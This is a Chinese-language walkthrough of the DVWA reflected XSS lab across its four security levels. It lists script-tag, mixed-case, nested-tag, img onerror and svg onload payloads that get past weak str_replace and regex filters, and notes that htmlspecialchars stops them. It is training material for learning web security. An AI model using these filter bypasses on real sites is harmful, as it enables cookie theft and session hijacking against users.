文章目录
-
- 1、Low
- 2、Medium
- 3、High
- 4、Impossible
1、Low
测试代码:
<script>alert(document.cookie)</script>
,弹出当前Cookie
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLiAzNfRHLGZkRGZkRfJ3bs92YsYTMfVmepNHL3dGRNRTWU9keRpHW4Z0MMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnL4ETO1AjM0UTMxMTMwAjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
成功,未做任何防范。
查看源码:
其中:
array_key_exists()
函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。
2、Medium
继续尝试刚才的语句
<script>alert(document.cookie)</script>
时,出现以下内容:
再次尝试:
<img src = alert(1)>
,成功爆出
判断应该是对
<script> </script>
进行了转义。
尝试大小写绕过
<sCript>alert(1)</scRipt>
,成功注入!
尝试嵌套绕过
<sc<script>ript>alert(1)</script>
,成功注入,且判断出只对
<script>
进行了转义。
查看源码:
可见,只使用
str_replace()
函数对
<script>
进行了过滤,且该函数区分大小写。
3、High
尝试大小写绕过:
<sCript>alert(1)</scRipt>
结果是一个尖括号:>
尝试普通注入:
<script>alert(1)</script>
,结果是:>
尝试添加 > 注入:
<script>alert(1)</script>>
,结果是:>>
尝试嵌套注入:
<sc<script>ript>alert(1)</script>
,结果是:>
尝试img标签:
<img src onerror=alert(1)>
,成功注入
尝试svg标签:
<svg onload=alert(1)>
,成功注入
根据以上结果判断,依然是对
<script>
标签进行了过滤。
查看源码:
源码显示,使用正则进行了过滤,因此嵌套和大小写绕过都失效。
根据正则,白盒测试,进行编码绕过。
对<>进行HTML编码,此时script语句为:
<script>alert(1)</script>
,尝试注入:
查看页面元素,显示成功注入,但是语句被放入了pre实体文本标签内,尝试闭合pre标签,重新注入,但是依然失败。到此
4、Impossible
htmlspecialchars() 函数将内容转为HTML实体文本,又加入了Token,打消了任何念头。